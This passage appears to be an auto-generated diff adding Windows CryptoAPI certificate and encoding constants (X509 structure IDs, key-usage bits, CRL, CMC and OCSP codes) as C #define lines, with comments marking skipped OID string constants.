+#define CRYPT_ENCODE_NO_SIGNATURE_BYTE_REVERSAL_FLAG 0x8 +#define CRYPT_UNICODE_NAME_ENCODE_FORCE_UTF8_UNICODE_FLAG 0x10000000 +#define CRYPT_SORTED_CTL_ENCODE_HASHED_SUBJECT_IDENTIFIER_FLAG 0x10000 +#define CRYPT_ENCODE_ENABLE_UTF8PERCENT_FLAG 0x40000 +#define CRYPT_DECODE_NOCOPY_FLAG 0x1 +#define CRYPT_DECODE_TO_BE_SIGNED_FLAG 0x2 +#define CRYPT_DECODE_SHARE_OID_STRING_FLAG 0x4 +#define CRYPT_DECODE_NO_SIGNATURE_BYTE_REVERSAL_FLAG 0x8 +#define CRYPT_DECODE_ALLOC_FLAG 0x8000 +#define CRYPT_UNICODE_NAME_DECODE_DISABLE_IE4_UTF8_FLAG 0x1000000 +#define CRYPT_DECODE_ENABLE_PUNYCODE_FLAG 0x2000000 +#define CRYPT_DECODE_ENABLE_UTF8PERCENT_FLAG 0x4000000 +#define CRYPT_ENCODE_DECODE_NONE 0x0 +#define X509_CERT 1 +#define X509_CERT_TO_BE_SIGNED 2 +#define X509_CERT_CRL_TO_BE_SIGNED 3 +#define X509_CERT_REQUEST_TO_BE_SIGNED 4 +#define X509_NAME_VALUE 6 +#define X509_PUBLIC_KEY_INFO 8 +#define X509_EXTENSIONS 5 +#define X509_NAME 7 +#define WINCRYPT_X509_EXTENSIONS 5 +#define WINCRYPT_X509_NAME 7 +#define X509_AUTHORITY_KEY_ID 9 +#define X509_KEY_ATTRIBUTES 10 +#define X509_KEY_USAGE_RESTRICTION 11 +#define X509_ALTERNATE_NAME 12 +#define X509_BASIC_CONSTRAINTS 13 +#define X509_KEY_USAGE 14 +#define X509_BASIC_CONSTRAINTS2 15 +#define X509_CERT_POLICIES 16 +#define PKCS_UTC_TIME 17 +#define PKCS_TIME_REQUEST 18 +#define RSA_CSP_PUBLICKEYBLOB 19 +#define X509_UNICODE_NAME 20 +#define X509_KEYGEN_REQUEST_TO_BE_SIGNED 21 +#define PKCS_ATTRIBUTE 22 +#define PKCS_CONTENT_INFO_SEQUENCE_OF_ANY 23 +#define X509_UNICODE_NAME_VALUE 24 +#define X509_ANY_STRING 6 +#define X509_UNICODE_ANY_STRING 24 +#define X509_OCTET_STRING 25 +#define X509_BITS 26 +#define X509_INTEGER 27 +#define X509_MULTI_BYTE_INTEGER 28 +#define X509_ENUMERATED 29 +#define X509_CHOICE_OF_TIME 30 +#define X509_AUTHORITY_KEY_ID2 31 +#define X509_AUTHORITY_INFO_ACCESS 32 +#define X509_SUBJECT_INFO_ACCESS 32 +#define X509_CRL_REASON_CODE 29 +#define PKCS_CONTENT_INFO 33 +#define X509_SEQUENCE_OF_ANY 34 +#define X509_CRL_DIST_POINTS 35 +#define X509_ENHANCED_KEY_USAGE 36 +#define PKCS_CTL 37 +#define X509_MULTI_BYTE_UINT 38 +#define X509_DSS_PUBLICKEY 38 +#define X509_DSS_PARAMETERS 39 +#define X509_DSS_SIGNATURE 40 +#define PKCS_RC2_CBC_PARAMETERS 41 +#define PKCS_SMIME_CAPABILITIES 42 +#define X509_QC_STATEMENTS_EXT 42 +#define PKCS_RSA_PRIVATE_KEY 43 +#define PKCS_PRIVATE_KEY_INFO 44 +#define PKCS_ENCRYPTED_PRIVATE_KEY_INFO 45 +#define X509_PKIX_POLICY_QUALIFIER_USERNOTICE 46 +#define X509_DH_PUBLICKEY 38 +#define X509_DH_PARAMETERS 47 +#define PKCS_ATTRIBUTES 48 +#define PKCS_SORTED_CTL 49 +#define X509_ECC_SIGNATURE 47 +#define X942_DH_PARAMETERS 50 +#define X509_BITS_WITHOUT_TRAILING_ZEROES 51 +#define X942_OTHER_INFO 52 +#define X509_CERT_PAIR 53 +#define X509_ISSUING_DIST_POINT 54 +#define X509_NAME_CONSTRAINTS 55 +#define X509_POLICY_MAPPINGS 56 +#define X509_POLICY_CONSTRAINTS 57 +#define X509_CROSS_CERT_DIST_POINTS 58 +#define CMC_DATA 59 +#define CMC_RESPONSE 60 +#define CMC_STATUS 61 +#define CMC_ADD_EXTENSIONS 62 +#define CMC_ADD_ATTRIBUTES 63 +#define X509_CERTIFICATE_TEMPLATE 64 +#define OCSP_SIGNED_REQUEST 65 +#define OCSP_BASIC_SIGNED_RESPONSE 68 +#define OCSP_BASIC_RESPONSE 69 +#define OCSP_REQUEST 66 +#define OCSP_RESPONSE 67 +#define WINCRYPT_OCSP_REQUEST 66 +#define WINCRYPT_OCSP_RESPONSE 67 +#define X509_LOGOTYPE_EXT 70 +#define X509_BIOMETRIC_EXT 71 +#define CNG_RSA_PUBLIC_KEY_BLOB 72 +#define X509_OBJECT_IDENTIFIER 73 +#define X509_ALGORITHM_IDENTIFIER 74 +#define PKCS_RSA_SSA_PSS_PARAMETERS 75 +#define PKCS_RSAES_OAEP_PARAMETERS 76 +#define ECC_CMS_SHARED_INFO 77 +#define TIMESTAMP_REQUEST 78 +#define TIMESTAMP_RESPONSE 79 +#define TIMESTAMP_INFO 80 +#define X509_CERT_BUNDLE 81 +#define X509_ECC_PRIVATE_KEY 82 +#define CNG_RSA_PRIVATE_KEY_BLOB 83 +#define X509_SUBJECT_DIR_ATTRS 84 +#define X509_ECC_PARAMETERS 85 +#define PKCS7_SIGNER_INFO 500 +#define WINCRYPT_PKCS7_SIGNER_INFO 500 +#define CMS_SIGNER_INFO 501 +// SKIPPED const szOID_AUTHORITY_KEY_IDENTIFIER: non-integer constant +// SKIPPED const szOID_KEY_ATTRIBUTES: non-integer constant +// SKIPPED const szOID_CERT_POLICIES_95: non-integer constant +// SKIPPED const szOID_KEY_USAGE_RESTRICTION: non-integer constant +// SKIPPED const szOID_SUBJECT_ALT_NAME: non-integer constant +// SKIPPED const szOID_ISSUER_ALT_NAME: non-integer constant +// SKIPPED const szOID_BASIC_CONSTRAINTS: non-integer constant +// SKIPPED const szOID_KEY_USAGE: non-integer constant +// SKIPPED const szOID_PRIVATEKEY_USAGE_PERIOD: non-integer constant +// SKIPPED const szOID_BASIC_CONSTRAINTS2: non-integer constant +// SKIPPED const szOID_CERT_POLICIES: non-integer constant +// SKIPPED const szOID_ANY_CERT_POLICY: non-integer constant +// SKIPPED const szOID_INHIBIT_ANY_POLICY: non-integer constant +// SKIPPED const szOID_AUTHORITY_KEY_IDENTIFIER2: non-integer constant +// SKIPPED const szOID_SUBJECT_KEY_IDENTIFIER: non-integer constant +// SKIPPED const szOID_SUBJECT_ALT_NAME2: non-integer constant +// SKIPPED const szOID_ISSUER_ALT_NAME2: non-integer constant +// SKIPPED const szOID_CRL_REASON_CODE: non-integer constant +// SKIPPED const szOID_REASON_CODE_HOLD: non-integer constant +// SKIPPED const szOID_CRL_DIST_POINTS: non-integer constant +// SKIPPED const szOID_ENHANCED_KEY_USAGE: non-integer constant +// SKIPPED const szOID_ANY_ENHANCED_KEY_USAGE: non-integer constant +// SKIPPED const szOID_CRL_NUMBER: non-integer constant +// SKIPPED const szOID_DELTA_CRL_INDICATOR: non-integer constant +// SKIPPED const szOID_ISSUING_DIST_POINT: non-integer constant +// SKIPPED const szOID_FRESHEST_CRL: non-integer constant +// SKIPPED const szOID_NAME_CONSTRAINTS: non-integer constant +// SKIPPED const szOID_POLICY_MAPPINGS: non-integer constant +// SKIPPED const szOID_LEGACY_POLICY_MAPPINGS: non-integer constant +// SKIPPED const szOID_POLICY_CONSTRAINTS: non-integer constant +// SKIPPED const szOID_RENEWAL_CERTIFICATE: non-integer constant +// SKIPPED const szOID_ENROLLMENT_NAME_VALUE_PAIR: non-integer constant +// SKIPPED const szOID_ENROLLMENT_CSP_PROVIDER: non-integer constant +// SKIPPED const szOID_OS_VERSION: non-integer constant +// SKIPPED const szOID_ENROLLMENT_AGENT: non-integer constant +// SKIPPED const szOID_PKIX: non-integer constant +// SKIPPED const szOID_PKIX_PE: non-integer constant +// SKIPPED const szOID_AUTHORITY_INFO_ACCESS: non-integer constant +// SKIPPED const szOID_SUBJECT_INFO_ACCESS: non-integer constant +// SKIPPED const szOID_BIOMETRIC_EXT: non-integer constant +// SKIPPED const szOID_QC_STATEMENTS_EXT: non-integer constant +// SKIPPED const szOID_LOGOTYPE_EXT: non-integer constant +// SKIPPED const szOID_TLS_FEATURES_EXT: non-integer constant +// SKIPPED const szOID_CERT_EXTENSIONS: non-integer constant +// SKIPPED const szOID_NEXT_UPDATE_LOCATION: non-integer constant +// SKIPPED const szOID_REMOVE_CERTIFICATE: non-integer constant +// SKIPPED const szOID_CROSS_CERT_DIST_POINTS: non-integer constant +// SKIPPED const szOID_CTL: non-integer constant +// SKIPPED const szOID_SORTED_CTL: non-integer constant +// SKIPPED const szOID_SERIALIZED: non-integer constant +// SKIPPED const szOID_NT_PRINCIPAL_NAME: non-integer constant +// SKIPPED const szOID_INTERNATIONALIZED_EMAIL_ADDRESS: non-integer constant +// SKIPPED const szOID_PRODUCT_UPDATE: non-integer constant +// SKIPPED const szOID_ANY_APPLICATION_POLICY: non-integer constant +// SKIPPED const szOID_AUTO_ENROLL_CTL_USAGE: non-integer constant +// SKIPPED const szOID_ENROLL_CERTTYPE_EXTENSION: non-integer constant +// SKIPPED const szOID_CERT_MANIFOLD: non-integer constant +// SKIPPED const szOID_CERTSRV_CA_VERSION: non-integer constant +// SKIPPED const szOID_CERTSRV_PREVIOUS_CERT_HASH: non-integer constant +// SKIPPED const szOID_CRL_VIRTUAL_BASE: non-integer constant +// SKIPPED const szOID_CRL_NEXT_PUBLISH: non-integer constant +// SKIPPED const szOID_KP_CA_EXCHANGE: non-integer constant +// SKIPPED const szOID_KP_PRIVACY_CA: non-integer constant +// SKIPPED const szOID_KP_KEY_RECOVERY_AGENT: non-integer constant +// SKIPPED const szOID_CERTIFICATE_TEMPLATE: non-integer constant +// SKIPPED const szOID_ENTERPRISE_OID_ROOT: non-integer constant +// SKIPPED const szOID_RDN_DUMMY_SIGNER: non-integer constant +// SKIPPED const szOID_APPLICATION_CERT_POLICIES: non-integer constant +// SKIPPED const szOID_APPLICATION_POLICY_MAPPINGS: non-integer constant +// SKIPPED const szOID_APPLICATION_POLICY_CONSTRAINTS: non-integer constant +// SKIPPED const szOID_ARCHIVED_KEY_ATTR: non-integer constant +// SKIPPED const szOID_CRL_SELF_CDP: non-integer constant +// SKIPPED const szOID_REQUIRE_CERT_CHAIN_POLICY: non-integer constant +// SKIPPED const szOID_ARCHIVED_KEY_CERT_HASH: non-integer constant +// SKIPPED const szOID_ISSUED_CERT_HASH: non-integer constant +// SKIPPED const szOID_DS_EMAIL_REPLICATION: non-integer constant +// SKIPPED const szOID_REQUEST_CLIENT_INFO: non-integer constant +// SKIPPED const szOID_ENCRYPTED_KEY_HASH: non-integer constant +// SKIPPED const szOID_CERTSRV_CROSSCA_VERSION: non-integer constant +// SKIPPED const szOID_NTDS_REPLICATION: non-integer constant +// SKIPPED const szOID_NTDS_CA_SECURITY_EXT: non-integer constant +// SKIPPED const szOID_NTDS_OBJECTSID: non-integer constant +// SKIPPED const wszURI_NTDS_OBJECTSID_PREFIX: non-integer constant +// SKIPPED const szOID_SUBJECT_DIR_ATTRS: non-integer constant +// SKIPPED const szOID_PKIX_KP: non-integer constant +// SKIPPED const szOID_PKIX_KP_SERVER_AUTH: non-integer constant +// SKIPPED const szOID_PKIX_KP_CLIENT_AUTH: non-integer constant +// SKIPPED const szOID_PKIX_KP_CODE_SIGNING: non-integer constant +// SKIPPED const szOID_PKIX_KP_EMAIL_PROTECTION: non-integer constant +// SKIPPED const szOID_PKIX_KP_IPSEC_END_SYSTEM: non-integer constant +// SKIPPED const szOID_PKIX_KP_IPSEC_TUNNEL: non-integer constant +// SKIPPED const szOID_PKIX_KP_IPSEC_USER: non-integer constant +// SKIPPED const szOID_PKIX_KP_TIMESTAMP_SIGNING: non-integer constant +// SKIPPED const szOID_PKIX_KP_OCSP_SIGNING: non-integer constant +// SKIPPED const szOID_PKIX_OCSP_NOCHECK: non-integer constant +// SKIPPED const szOID_PKIX_OCSP_NONCE: non-integer constant +// SKIPPED const szOID_IPSEC_KP_IKE_INTERMEDIATE: non-integer constant +// SKIPPED const szOID_PKINIT_KP_KDC: non-integer constant +// SKIPPED const szOID_KP_CTL_USAGE_SIGNING: non-integer constant +// SKIPPED const szOID_KP_TIME_STAMP_SIGNING: non-integer constant +// SKIPPED const szOID_SERVER_GATED_CRYPTO: non-integer constant +// SKIPPED const szOID_SGC_NETSCAPE: non-integer constant +// SKIPPED const szOID_KP_EFS: non-integer constant +// SKIPPED const szOID_EFS_RECOVERY: non-integer constant +// SKIPPED const szOID_WHQL_CRYPTO: non-integer constant +// SKIPPED const szOID_ATTEST_WHQL_CRYPTO: non-integer constant +// SKIPPED const szOID_NT5_CRYPTO: non-integer constant +// SKIPPED const szOID_OEM_WHQL_CRYPTO: non-integer constant +// SKIPPED const szOID_EMBEDDED_NT_CRYPTO: non-integer constant +// SKIPPED const szOID_ROOT_LIST_SIGNER: non-integer constant +// SKIPPED const szOID_KP_QUALIFIED_SUBORDINATION: non-integer constant +// SKIPPED const szOID_KP_KEY_RECOVERY: non-integer constant +// SKIPPED const szOID_KP_DOCUMENT_SIGNING: non-integer constant +// SKIPPED const szOID_KP_LIFETIME_SIGNING: non-integer constant +// SKIPPED const szOID_KP_MOBILE_DEVICE_SOFTWARE: non-integer constant +// SKIPPED const szOID_KP_SMART_DISPLAY: non-integer constant +// SKIPPED const szOID_KP_CSP_SIGNATURE: non-integer constant +// SKIPPED const szOID_KP_FLIGHT_SIGNING: non-integer constant +// SKIPPED const szOID_PLATFORM_MANIFEST_BINARY_ID: non-integer constant +// SKIPPED const szOID_DRM: non-integer constant +// SKIPPED const szOID_DRM_INDIVIDUALIZATION: non-integer constant +// SKIPPED const szOID_LICENSES: non-integer constant +// SKIPPED const szOID_LICENSE_SERVER: non-integer constant +// SKIPPED const szOID_KP_SMARTCARD_LOGON: non-integer constant +// SKIPPED const szOID_KP_KERNEL_MODE_CODE_SIGNING: non-integer constant +// SKIPPED const szOID_KP_KERNEL_MODE_TRUSTED_BOOT_SIGNING: non-integer constant +// SKIPPED const szOID_REVOKED_LIST_SIGNER: non-integer constant +// SKIPPED const szOID_WINDOWS_KITS_SIGNER: non-integer constant +// SKIPPED const szOID_WINDOWS_RT_SIGNER: non-integer constant +// SKIPPED const szOID_PROTECTED_PROCESS_LIGHT_SIGNER: non-integer constant +// SKIPPED const szOID_WINDOWS_TCB_SIGNER: non-integer constant +// SKIPPED const szOID_PROTECTED_PROCESS_SIGNER: non-integer constant +// SKIPPED const szOID_WINDOWS_THIRD_PARTY_COMPONENT_SIGNER: non-integer constant +// SKIPPED const szOID_WINDOWS_SOFTWARE_EXTENSION_SIGNER: non-integer constant +// SKIPPED const szOID_DISALLOWED_LIST: non-integer constant +// SKIPPED const szOID_PIN_RULES_SIGNER: non-integer constant +// SKIPPED const szOID_PIN_RULES_CTL: non-integer constant +// SKIPPED const szOID_PIN_RULES_EXT: non-integer constant +// SKIPPED const szOID_PIN_RULES_DOMAIN_NAME: non-integer constant +// SKIPPED const szOID_PIN_RULES_LOG_END_DATE_EXT: non-integer constant +// SKIPPED const szOID_IUM_SIGNING: non-integer constant +// SKIPPED const szOID_EV_WHQL_CRYPTO: non-integer constant +// SKIPPED const szOID_BIOMETRIC_SIGNING: non-integer constant +// SKIPPED const szOID_ENCLAVE_SIGNING: non-integer constant +// SKIPPED const szOID_SYNC_ROOT_CTL_EXT: non-integer constant +// SKIPPED const szOID_FLIGHT_CTL_EXT: non-integer constant +// SKIPPED const szOID_CERT_LOG_LIST_EXT: non-integer constant +// SKIPPED const szOID_HPKP_DOMAIN_NAME_CTL: non-integer constant +// SKIPPED const szOID_HPKP_HEADER_VALUE_CTL: non-integer constant +// SKIPPED const szOID_KP_KERNEL_MODE_HAL_EXTENSION_SIGNING: non-integer constant +// SKIPPED const szOID_WINDOWS_STORE_SIGNER: non-integer constant +// SKIPPED const szOID_DYNAMIC_CODE_GEN_SIGNER: non-integer constant +// SKIPPED const szOID_MICROSOFT_PUBLISHER_SIGNER: non-integer constant +// SKIPPED const szOID_YESNO_TRUST_ATTR: non-integer constant +// SKIPPED const szOID_SITE_PIN_RULES_INDEX_ATTR: non-integer constant +// SKIPPED const szOID_SITE_PIN_RULES_FLAGS_ATTR: non-integer constant +#define SITE_PIN_RULES_ALL_SUBDOMAINS_FLAG 0x1 +// SKIPPED const szOID_PKIX_POLICY_QUALIFIER_CPS: non-integer constant +// SKIPPED const szOID_PKIX_POLICY_QUALIFIER_USERNOTICE: non-integer constant +// SKIPPED const szOID_ROOT_PROGRAM_FLAGS: non-integer constant +#define CERT_ROOT_PROGRAM_FLAG_OU 0x10 +#define CERT_ROOT_PROGRAM_FLAG_ADDRESS 0x8 +// SKIPPED const szOID_CERT_POLICIES_95_QUALIFIER1: non-integer constant +// SKIPPED const szOID_RDN_TPM_MANUFACTURER: non-integer constant +// SKIPPED const szOID_RDN_TPM_MODEL: non-integer constant +// SKIPPED const szOID_RDN_TPM_VERSION: non-integer constant +// SKIPPED const szOID_RDN_TCG_PLATFORM_MANUFACTURER: non-integer constant +// SKIPPED const szOID_RDN_TCG_PLATFORM_MODEL: non-integer constant +// SKIPPED const szOID_RDN_TCG_PLATFORM_VERSION: non-integer constant +// SKIPPED const szOID_CT_CERT_SCTLIST: non-integer constant +// SKIPPED const szOID_ENROLL_EK_INFO: non-integer constant +// SKIPPED const szOID_ENROLL_AIK_INFO: non-integer constant +// SKIPPED const szOID_ENROLL_ATTESTATION_STATEMENT: non-integer constant +// SKIPPED const szOID_ENROLL_KSP_NAME: non-integer constant +// SKIPPED const szOID_ENROLL_EKPUB_CHALLENGE: non-integer constant +// SKIPPED const szOID_ENROLL_CAXCHGCERT_HASH: non-integer constant +// SKIPPED const szOID_ENROLL_ATTESTATION_CHALLENGE: non-integer constant +// SKIPPED const szOID_ENROLL_ENCRYPTION_ALGORITHM: non-integer constant +// SKIPPED const szOID_KP_TPM_EK_CERTIFICATE: non-integer constant +// SKIPPED const szOID_KP_TPM_PLATFORM_CERTIFICATE: non-integer constant +// SKIPPED const szOID_KP_TPM_AIK_CERTIFICATE: non-integer constant +// SKIPPED const szOID_ENROLL_EKVERIFYKEY: non-integer constant +// SKIPPED const szOID_ENROLL_EKVERIFYCERT: non-integer constant +// SKIPPED const szOID_ENROLL_EKVERIFYCREDS: non-integer constant +// SKIPPED const szOID_ENROLL_SCEP_ERROR: non-integer constant +// SKIPPED const szOID_ENROLL_SCEP_SERVER_STATE: non-integer constant +// SKIPPED const szOID_ENROLL_SCEP_CHALLENGE_ANSWER: non-integer constant +// SKIPPED const szOID_ENROLL_SCEP_CLIENT_REQUEST: non-integer constant +// SKIPPED const szOID_ENROLL_SCEP_SERVER_MESSAGE: non-integer constant +// SKIPPED const szOID_ENROLL_SCEP_SERVER_SECRET: non-integer constant +// SKIPPED const szOID_ENROLL_KEY_AFFINITY: non-integer constant +// SKIPPED const szOID_ENROLL_SCEP_SIGNER_HASH: non-integer constant +// SKIPPED const szOID_ENROLL_EK_CA_KEYID: non-integer constant +// SKIPPED const szOID_ATTR_SUPPORTED_ALGORITHMS: non-integer constant +// SKIPPED const szOID_ATTR_TPM_SPECIFICATION: non-integer constant +// SKIPPED const szOID_ATTR_PLATFORM_SPECIFICATION: non-integer constant +// SKIPPED const szOID_ATTR_TPM_SECURITY_ASSERTIONS: non-integer constant +#define CERT_UNICODE_RDN_ERR_INDEX_MASK 0x3ff +#define CERT_UNICODE_RDN_ERR_INDEX_SHIFT 0x16 +#define CERT_UNICODE_ATTR_ERR_INDEX_MASK 0x3f +#define CERT_UNICODE_ATTR_ERR_INDEX_SHIFT 0x10 +#define CERT_UNICODE_VALUE_ERR_INDEX_MASK 0xffff +#define CERT_UNICODE_VALUE_ERR_INDEX_SHIFT 0x0 +#define CERT_DIGITAL_SIGNATURE_KEY_USAGE 0x80 +#define CERT_NON_REPUDIATION_KEY_USAGE 0x40 +#define CERT_KEY_ENCIPHERMENT_KEY_USAGE 0x20 +#define CERT_DATA_ENCIPHERMENT_KEY_USAGE 0x10 +#define CERT_KEY_AGREEMENT_KEY_USAGE 0x8 +#define CERT_KEY_CERT_SIGN_KEY_USAGE 0x4 +#define CERT_OFFLINE_CRL_SIGN_KEY_USAGE 0x2 +#define CERT_CRL_SIGN_KEY_USAGE 0x2 +#define CERT_ENCIPHER_ONLY_KEY_USAGE 0x1 +#define CERT_DECIPHER_ONLY_KEY_USAGE 0x80 +#define CERT_ALT_NAME_X400_ADDRESS 0x4 +#define CERT_ALT_NAME_EDI_PARTY_NAME 0x6 +#define CERT_ALT_NAME_ENTRY_ERR_INDEX_MASK 0xff +#define CERT_ALT_NAME_ENTRY_ERR_INDEX_SHIFT 0x10 +#define CERT_ALT_NAME_VALUE_ERR_INDEX_MASK 0xffff +#define CERT_ALT_NAME_VALUE_ERR_INDEX_SHIFT 0x0 +#define CERT_CA_SUBJECT_FLAG 0x80 +#define CERT_END_ENTITY_SUBJECT_FLAG 0x40 +// SKIPPED const szOID_PKIX_ACC_DESCR: non-integer constant +// SKIPPED const szOID_PKIX_OCSP: non-integer constant +// SKIPPED const szOID_PKIX_CA_ISSUERS: non-integer constant +// SKIPPED const szOID_PKIX_TIME_STAMPING: non-integer constant +// SKIPPED const szOID_PKIX_CA_REPOSITORY: non-integer constant +#define CRL_REASON_PRIVILEGE_WITHDRAWN 0x9 +#define CRL_REASON_AA_COMPROMISE 0xa +#define CRL_DIST_POINT_NO_NAME 0x0 +#define CRL_DIST_POINT_FULL_NAME 0x1 +#define CRL_DIST_POINT_ISSUER_RDN_NAME 0x2 +#define CRL_REASON_UNUSED_FLAG 0x80 +#define CRL_REASON_KEY_COMPROMISE_FLAG 0x40 +#define CRL_REASON_CA_COMPROMISE_FLAG 0x20 +#define CRL_REASON_AFFILIATION_CHANGED_FLAG 0x10 +#define CRL_REASON_SUPERSEDED_FLAG 0x8 +#define CRL_REASON_CESSATION_OF_OPERATION_FLAG 0x4 +#define CRL_REASON_CERTIFICATE_HOLD_FLAG 0x2 +#define CRL_REASON_PRIVILEGE_WITHDRAWN_FLAG 0x1 +#define CRL_REASON_AA_COMPROMISE_FLAG 0x80 +#define CRL_DIST_POINT_ERR_INDEX_MASK 0x7f +#define CRL_DIST_POINT_ERR_INDEX_SHIFT 0x18 +#define CRL_DIST_POINT_ERR_CRL_ISSUER_BIT -2147483648 +#define CROSS_CERT_DIST_POINT_ERR_INDEX_MASK 0xff +#define CROSS_CERT_DIST_POINT_ERR_INDEX_SHIFT 0x18 +#define CERT_EXCLUDED_SUBTREE_BIT -2147483648 +#define SORTED_CTL_EXT_HASHED_SUBJECT_IDENTIFIER_FLAG 0x1 +#define CERT_DSS_R_LEN 0x14 +#define CERT_DSS_S_LEN 0x14 +#define CRYPT_X942_COUNTER_BYTE_LENGTH 0x4 +#define CRYPT_X942_KEY_LENGTH_BYTE_LENGTH 0x4 +#define CRYPT_ECC_CMS_SHARED_INFO_SUPPPUBINFO_BYTE_LENGTH 0x4 +#define CRYPT_RC2_40BIT_VERSION 0xa0 +#define CRYPT_RC2_56BIT_VERSION 0x34 +#define CRYPT_RC2_64BIT_VERSION 0x78 +#define CRYPT_RC2_128BIT_VERSION 0x3a +// SKIPPED const szOID_QC_EU_COMPLIANCE: non-integer constant +// SKIPPED const szOID_QC_SSCD: non-integer constant +#define PKCS_RSA_SSA_PSS_TRAILER_FIELD_BC 0x1 +// SKIPPED const szOID_VERISIGN_PRIVATE_6_9: non-integer constant +// SKIPPED const szOID_VERISIGN_ONSITE_JURISDICTION_HASH: non-integer constant +// SKIPPED const szOID_VERISIGN_BITSTRING_6_13: non-integer constant +// SKIPPED const szOID_VERISIGN_ISS_STRONG_CRYPTO: non-integer constant +// SKIPPED const szOIDVerisign_MessageType: non-integer constant +// SKIPPED const szOIDVerisign_PkiStatus: non-integer constant +// SKIPPED const szOIDVerisign_FailInfo: non-integer constant +// SKIPPED const szOIDVerisign_SenderNonce: non-integer constant +// SKIPPED const szOIDVerisign_RecipientNonce: non-integer constant +// SKIPPED const szOIDVerisign_TransactionID: non-integer constant +// SKIPPED const szOID_NETSCAPE: non-integer constant +// SKIPPED const szOID_NETSCAPE_CERT_EXTENSION: non-integer constant +// SKIPPED const szOID_NETSCAPE_CERT_TYPE: non-integer constant +// SKIPPED const szOID_NETSCAPE_BASE_URL: non-integer constant +// SKIPPED const szOID_NETSCAPE_REVOCATION_URL: non-integer constant +// SKIPPED const szOID_NETSCAPE_CA_REVOCATION_URL: non-integer constant +// SKIPPED const szOID_NETSCAPE_CERT_RENEWAL_URL: non-integer constant +// SKIPPED const szOID_NETSCAPE_CA_POLICY_URL: non-integer constant +// SKIPPED const szOID_NETSCAPE_SSL_SERVER_NAME: non-integer constant +// SKIPPED const szOID_NETSCAPE_COMMENT: non-integer constant +// SKIPPED const szOID_NETSCAPE_DATA_TYPE: non-integer constant +// SKIPPED const szOID_NETSCAPE_CERT_SEQUENCE: non-integer constant +#define NETSCAPE_SSL_CLIENT_AUTH_CERT_TYPE 0x80 +#define NETSCAPE_SSL_SERVER_AUTH_CERT_TYPE 0x40 +#define NETSCAPE_SMIME_CERT_TYPE 0x20 +#define NETSCAPE_SIGN_CERT_TYPE 0x10 +#define NETSCAPE_SSL_CA_CERT_TYPE 0x4 +#define NETSCAPE_SMIME_CA_CERT_TYPE 0x2 +#define NETSCAPE_SIGN_CA_CERT_TYPE 0x1 +// SKIPPED const szOID_CT_PKI_DATA: non-integer constant +// SKIPPED const szOID_CT_PKI_RESPONSE: non-integer constant +// SKIPPED const szOID_PKIX_NO_SIGNATURE: non-integer constant +// SKIPPED const szOID_CMC: non-integer constant +// SKIPPED const szOID_CMC_STATUS_INFO: non-integer constant +// SKIPPED const szOID_CMC_IDENTIFICATION: non-integer constant +// SKIPPED const szOID_CMC_IDENTITY_PROOF: non-integer constant +// SKIPPED const szOID_CMC_DATA_RETURN: non-integer constant +// SKIPPED const szOID_CMC_TRANSACTION_ID: non-integer constant +// SKIPPED const szOID_CMC_SENDER_NONCE: non-integer constant +// SKIPPED const szOID_CMC_RECIPIENT_NONCE: non-integer constant +// SKIPPED const szOID_CMC_ADD_EXTENSIONS: non-integer constant +// SKIPPED const szOID_CMC_ENCRYPTED_POP: non-integer constant +// SKIPPED const szOID_CMC_DECRYPTED_POP: non-integer constant +// SKIPPED const szOID_CMC_LRA_POP_WITNESS: non-integer constant +// SKIPPED const szOID_CMC_GET_CERT: non-integer constant +// SKIPPED const szOID_CMC_GET_CRL: non-integer constant +// SKIPPED const szOID_CMC_REVOKE_REQUEST: non-integer constant +// SKIPPED const szOID_CMC_REG_INFO: non-integer constant +// SKIPPED const szOID_CMC_RESPONSE_INFO: non-integer constant +// SKIPPED const szOID_CMC_QUERY_PENDING: non-integer constant +// SKIPPED const szOID_CMC_ID_POP_LINK_RANDOM: non-integer constant +// SKIPPED const szOID_CMC_ID_POP_LINK_WITNESS: non-integer constant +// SKIPPED const szOID_CMC_ID_CONFIRM_CERT_ACCEPTANCE: non-integer constant +// SKIPPED const szOID_CMC_ADD_ATTRIBUTES: non-integer constant +#define CMC_TAGGED_CERT_REQUEST_CHOICE 0x1 +#define CMC_OTHER_INFO_NO_CHOICE 0x0 +#define CMC_OTHER_INFO_FAIL_CHOICE 0x1 +#define CMC_OTHER_INFO_PEND_CHOICE 0x2 +#define CMC_STATUS_SUCCESS 0x0 +#define CMC_STATUS_FAILED 0x2 +#define CMC_STATUS_PENDING 0x3 +#define CMC_STATUS_NO_SUPPORT 0x4 +#define CMC_STATUS_CONFIRM_REQUIRED 0x5 +#define CMC_FAIL_BAD_ALG 0x0 +#define CMC_FAIL_BAD_MESSAGE_CHECK 0x1 +#define CMC_FAIL_BAD_REQUEST 0x2 +#define CMC_FAIL_BAD_TIME 0x3 +#define CMC_FAIL_BAD_CERT_ID 0x4 +#define CMC_FAIL_UNSUPORTED_EXT 0x5 +#define CMC_FAIL_MUST_ARCHIVE_KEYS 0x6 +#define CMC_FAIL_BAD_IDENTITY 0x7 +#define CMC_FAIL_POP_REQUIRED 0x8 +#define CMC_FAIL_POP_FAILED 0x9 +#define CMC_FAIL_NO_KEY_REUSE 0xa +#define CMC_FAIL_INTERNAL_CA_ERROR 0xb +#define CMC_FAIL_TRY_LATER 0xc +// SKIPPED const szOID_LOYALTY_OTHER_LOGOTYPE: non-integer constant +// SKIPPED const szOID_BACKGROUND_OTHER_LOGOTYPE: non-integer constant +#define CERT_BIOMETRIC_PICTURE_TYPE 0x0 +#define CERT_BIOMETRIC_SIGNATURE_TYPE 0x1 +#define OCSP_REQUEST_V1 0x0 +#define OCSP_SUCCESSFUL_RESPONSE 0x0 +#define OCSP_MALFORMED_REQUEST_RESPONSE 0x1 +#define OCSP_INTERNAL_ERROR_RESPONSE 0x2 +#define OCSP_TRY_LATER_RESPONSE 0x3 +#define OCSP_SIG_REQUIRED_RESPONSE 0x5 +#define OCSP_UNAUTHORIZED_RESPONSE 0x6 +// SKIPPED const szOID_PKIX_OCSP_BASIC_SIGNED_RESPONSE: non-integer constant +#define OCSP_BASIC_GOOD_CERT_STATUS 0x0 +#define OCSP_BASIC_REVOKED_CERT_STATUS 0x1 +#define OCSP_BASIC_UNKNOWN_CERT_STATUS 0x2 +#define OCSP_BASIC_RESPONSE_V1 0x0 +#define OCSP_BASIC_BY_NAME_RESPONDER_ID 0x1 +#define OCSP_BASIC_BY_KEY_RESPONDER_ID 0x2 +// SKIPPED const CRYPT_OID_ENCODE_OBJECT_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_DECODE_OBJECT_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_ENCODE_OBJECT_EX_FUNC: 